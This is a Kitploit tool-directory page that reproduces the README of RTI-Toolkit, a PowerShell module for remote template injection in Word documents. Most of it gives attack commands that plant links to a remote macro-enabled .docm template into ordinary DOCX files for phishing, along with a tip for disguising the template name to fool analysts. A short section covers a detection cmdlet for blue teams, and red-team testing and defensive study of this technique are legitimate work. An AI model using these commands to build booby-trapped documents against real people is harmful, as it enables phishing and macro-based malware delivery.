Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
RTI-Toolkit — PowerShell toolkit for remote template injection attacks and defense. Injects malicious links into Office Word documents for phishing, with identification modules for blue teams. | Kitploit
Tools/GitHubGitHub/nickvourd/rti-toolkit
Phishing ToolsPhishingPenetration TestingRed Teaming
GitHubnickvourd/rti-toolkit

RTI-Toolkit

PowerShell toolkit for remote template injection attacks and defense. Injects malicious links into Office Word documents for phishing, with identification modules for blue teams.

View Repository
5592 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

RTI-Toolkit

Remote Template Injection Toolkit

Description

RTI-Toolkit is an open-source PowerShell toolkit for Remote Template Injection attack. This toolkit includes a PowerShell script named PS-Templator.ps1 which can be used from both an attacking and defensive perspective.

The following tables presents the main modules (cmdlets) of PS-Templator.ps1:

CmdletDescriptionPrespective
Invoke-TemplateImplements remote template links within default Office Word templatesAttacking
Invoke-RegularImplements remote template links within regular Office Word documents without templateAttacking
Invoke-IdentifyIndentifies remote template links within Office Word docx documents with/without templateDefensive

⚠️ PS-Templator.ps1 supports only DOCX files.

ℹ️ This tool is referenced by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in CVE-2025-65318 and CVE-2025-65319.

Version

1.0.0

License

This tool is licensed under the License: MIT.

Acknowledgement

Special thanks to my friends @Papadope9 and Stavros Gkounis (a.k.a purpl3ph03n1x), who provided invaluable assistance during the beta testing phase of the tool.

This tool was inspired during an iCAST Red Teaming Assessment with @S1ckB0y1337 a few years ago.

Supernova was created with ❤️ by @nickvourd.

Table of Contents

  • RTI-Toolkit
    • Description
    • Version
    • License
    • Acknowledgement
    • Table of Contents
    • Remote Template Injection (RTI)
    • Installation
    • Cmdlets
      • Invoke-Template
        • Invoke-Template Example
      • Invoke-Regular
        • Invoke-Regular Example
        • Invoke-Regular Example 2
      • Invoke-Identify
        • Invoke-Identify Example
        • Invoke-Identify Example 2
    • References

Remote Template Injection (RTI)

Remote Template Injection (RTI) in the context of Microsoft Office refers to a specific type of security vulnerability that can be exploited through malicious templates in Office documents (e.g., Word, Excel, PowerPoint).

For example, in a DOCX file, the content is stored in XML format within the archive, and some of these XML files may reference external resources or templates. Attackers can indeed manipulate these XML files to insert malicious links or content that can potentially exploit vulnerabilities or deceive users.

This is a Macro-Based attack.

Installation

To load PS-Templator.ps1 as a module into memory, run the following command:

root@kitploit:~
Import-Module .\PS-Templator.ps1

ℹ️ PS-Templator.ps1 works without the necessity of installing any additional dependencies.

ℹ️ PS-Templator.ps1 works as PowerShell module.

ℹ️ PS-Templator.ps1 tested on Windows 10 machine with Office 2019 Professional plus.

Cmdlets

Invoke-Template

Invoke-Template is a cmdlet that implements remote template links within default Office Word templates.

Invoke-Template Example

Assuming that you have a default Word template, one like them:

All Words Templates

Saved as, for example, 'Name.docx':

Default Word Template Document

If you use Invoke-Template cmdlet you can insert a malicious link within this docx:

⚠️ Before running Invoke-Template, please make sure to save the document and close it (terminate its process).

root@kitploit:~
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx

Outcome:

Invoke-Template-1

As you can see, the Invoke-Template module keeps a backup of the original document and provides the full path to the malicious document.

From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:

Invoke-Template-Debug

Invoke-Regular

Invoke-Regular is a cmdlet that implements remote template links within default Office Word documents without templates.

Invoke-Regular Example

Assuming that you have a default Word document without a template, like this:

Blank Document

Saved as, for example, 'Doc1.docx':

Word Document

If you use Invoke-Regular cmdlet you can insert a malicious link within this docx:

⚠️ Before running Invoke-Regular, please make sure to save the document and close it (terminate its process).

root@kitploit:~
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx

Outcome:

Invoke-Regular-1

As you can see, the Invoke-Regular module keeps a backup of the original document and provides the full path to the malicious document.

From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:

Invoke-Regular-Debug-1

Invoke-Regular Example 2

From an OPSEC perspective, you can use -TemplateName in conjunction with the Invoke-Regular module. This will make your malicious document appear more legitimate if someone try to analyze it.

Here is an example:

root@kitploit:~
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx

Outcome:

Invoke-Regular-Example-2

From debugging prespective, if you connvert the malicious docx to zip archive and go into /docProps/app.xml, you can see the fake template name:

Invoke-Regular-Fake-Template-Name

Invoke-Identify

Invoke-identify is a cmdlet that indentifies remote template links within Office Word docx documents with/without template.

Invoke-Identify Example

Assuming that you have a malicious Word document:

root@kitploit:~
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt

Outcome:

Invoke-Identify Malicous Example

Invoke-Identify Example 2

Assuming that you have a non-malicious Word document:

root@kitploit:~
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt

Outcome:

Invoke-Identify Clean Example

References

  • ired.team
  • dmcxblue.gitbook.io
  • john-woodman.com
  • remoteInjector GitHub by John Woodman
  • Invoke-Templator GitHub by Outflanknl
  • attack.mitre.org
  • BadAssMacros GitHub by Inf0secRabbit
Download Tool